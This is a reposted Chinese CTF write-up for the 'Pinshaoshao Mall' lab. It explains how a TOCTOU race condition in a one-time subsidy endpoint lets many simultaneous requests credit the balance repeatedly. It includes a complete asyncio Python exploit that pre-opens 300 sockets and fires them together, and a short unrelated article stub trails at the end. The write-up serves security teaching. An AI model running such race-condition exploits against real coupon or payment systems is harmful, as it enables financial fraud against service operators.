乌托邦·王的实验室24——拼少少商城Writeup

admin 2026-03-03 06:06:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了拼少少商城CTF靶场的解题过程,核心漏洞为补贴接口的TOCTOU竞态条件。作者对比了requests线程池与asyncio原生socket方案,指出通过Event同步机制实现请求同时发送可大幅提升竞态成功率。最终利用该漏洞多次领取补贴积累余额,购买特供商品获取flag,展示了高并发下竞态条件的精准利用技巧。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC,渗透测试


cover_image

乌托邦·王的实验室24——拼少少商城 Writeup

原创

wenject wenject

船山信安

2026年2月25日 12:23 江苏

踩点

打开靶场,是一个”拼少少商城”,Go 语言写的分布式商业中台。页面上有几个关键元素:

  • 顶部显示用户名和余额(初始为 0)
  • “百亿补贴”按钮,点击领取 100 购物金,限领一次
  • 商品列表,其中有个”特供:乌托邦的秘密”,价格 10000,库存 1
  • 右侧聊天面板,三三和乌托邦·王的对话

题目描述里三三泄露了关键信息:”时间差调到了极其阴险的数值”、”风控警报给拆了”。这两句话直接指向竞态条件(Race Condition)。

API 梳理

抓包分析前端 JS,整理出以下 API:

  • GET /api/user — 获取用户信息(username, balance, level)
  • GET /api/catalog — 商品列表
  • POST /api/subsidy — 领取补贴(+100 购物金,限一次)
  • POST /api/order — 购买商品(参数:product_id, signature)
  • GET /api/dialogue — 剧情对话

用户通过 cookie pss_enterprise_session 标识,每次访问首页自动分配。

目标很明确:余额凑到 10000,买下特供商品拿 flag。

漏洞定位

补贴只给 100,特供要 10000,正常流程不可能买到。题目反复暗示”时间差”和”异步队列”,那就测试补贴接口的并发竞态。

先用 requests 线程池并发 300 个补贴请求,结果:

Success: 28, Balance: 2800

确认了竞态条件存在——补贴接口的”检查是否已领取”和”标记已领取”之间有时间窗口,并发请求可以在窗口内多次通过检查。

但问题是,用 requests + ThreadPoolExecutor 跑了几十轮,最高只到 4400。线程调度的开销让请求到达时间分散,命中竞态窗口的概率有限。

购买接口也测了,扣款是原子的,没有竞态。所以只能从补贴接口下手。

利用方式

关键在于让请求尽可能”同时”到达服务端。requests 的线程池做不到真正的同时发送——每个线程独立建立 TCP 连接、发送请求,时间差太大。

换成 asyncio 原生 socket 方案:

  1. 用 asyncio.open_connection 预先建立所有 TCP 连接
  2. 所有协程在 asyncio.Event 上等待
  3. 连接全部就绪后,event.set() 同时触发所有请求发送

这样所有 HTTP 请求几乎在同一瞬间从本地发出,服务端收到的请求时间差被压缩到极限。

实测效果:

Round 1: success=18,  balance=1800
Round 2: success=83,  balance=8300
Round 3: success=163, balance=16300  ← 直接起飞

第三轮 163 次成功,余额 16300,远超 10000。直接购买特供商品,拿到 flag。

完整复现步骤

  1. 访问靶场首页,获取 session cookie
  2. 用 asyncio 预先建立 300 个 TCP 连接到服务端
  3. 所有连接就绪后,同时发送 POST /api/subsidy 请求
  4. 检查余额,如果不够 10000 就用新 session 重试
  5. 余额 ≥ 10000 后,POST /api/order 购买 p_1004(特供商品)
  6. 响应中包含 flag

EXP

"""
拼少少商城 - EXP
asyncio原生socket并发竞态,利用补贴接口的TOCTOU漏洞多次领取
"""
import asyncio
import requests
import sys
from urllib.parse import urlparse

TARGET = ""  # 靶机地址,格式 http://host:port
parsed = urlparse(TARGET)
HOST = parsed.hostname
PORT = parsed.port or 80

def get_session():
    s = requests.Session()
    s.get(TARGET, timeout=15)
    return s

def build_request(cookie):
    return (
        f"POST /api/subsidy HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Cookie: pss_enterprise_session={cookie}\r\n"
        f"Content-Length: 0\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode()

async def send_one(event, req_bytes):
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(HOST, PORT), timeout=10
        )
        await event.wait()
        writer.write(req_bytes)
        await writer.drain()
        data = await asyncio.wait_for(reader.read(4096), timeout=15)
        writer.close()
        try:
            await writer.wait_closed()
        except:
            pass
        return '"code":200' in data.decode(errors="ignore")
    except:
        return False

async def race_subsidy(cookie, n=300):
    event = asyncio.Event()
    req = build_request(cookie)
    tasks = [asyncio.create_task(send_one(event, req)) for _ in range(n)]
    await asyncio.sleep(1)
    event.set()
    results = await asyncio.gather(*tasks)
    return sum(1 for r in results if r)

async def main():
    for attempt in range(20):
        session = get_session()
        cookie = session.cookies.get("pss_enterprise_session")

        success = await race_subsidy(cookie, 300)

        r = session.get(TARGET + "/api/user", timeout=10)
        balance = r.json()["data"]["balance"]
        print(f"[Round {attempt+1}] success={success}, balance={balance}")

        if balance >= 10000:
            print(f"[+] Balance sufficient: {balance}")
            r = session.post(
                TARGET + "/api/order",
                json={"product_id": "p_1004", "signature": "token-validated"},
                timeout=15,
            )
            result = r.json()
            print(f"[+] Order: {result}")
            if result.get("flag"):
                print(f"\n[+] FLAG: {result['flag']}")
            return

    print("[-] Failed after 20 rounds")

if sys.platform == "win32":
    asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())

小结

这题的核心是补贴接口的 TOCTOU(Time of Check to Time of Use)竞态条件。Go 的 goroutine 并发模型下,如果”检查是否已领取”和”标记已领取+加余额”不在同一个原子操作内,高并发请求就能在窗口期内多次通过检查。

用 requests 线程池打竞态效果一般(最高 ~4400),因为线程调度开销导致请求到达时间分散。换成 asyncio 原生 socket + Event 同步触发后,请求几乎同时到达,单轮就能拿到 100+ 次成功,轻松凑够 10000 买特供商品。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 wenject wenject《乌托邦·王的实验室24——拼少少商城 Writeup》

韭菜也有要求了 网络安全文章

韭菜也有要求了

文章总结: 该文档仅包含标题韭菜也有要求了、作者Khan安全团队及发布时间地点等元数据,正文内容显示为图片占位符且未提供实际文本,无法提取有效技术信息或核心观点
评论:0   参与:  0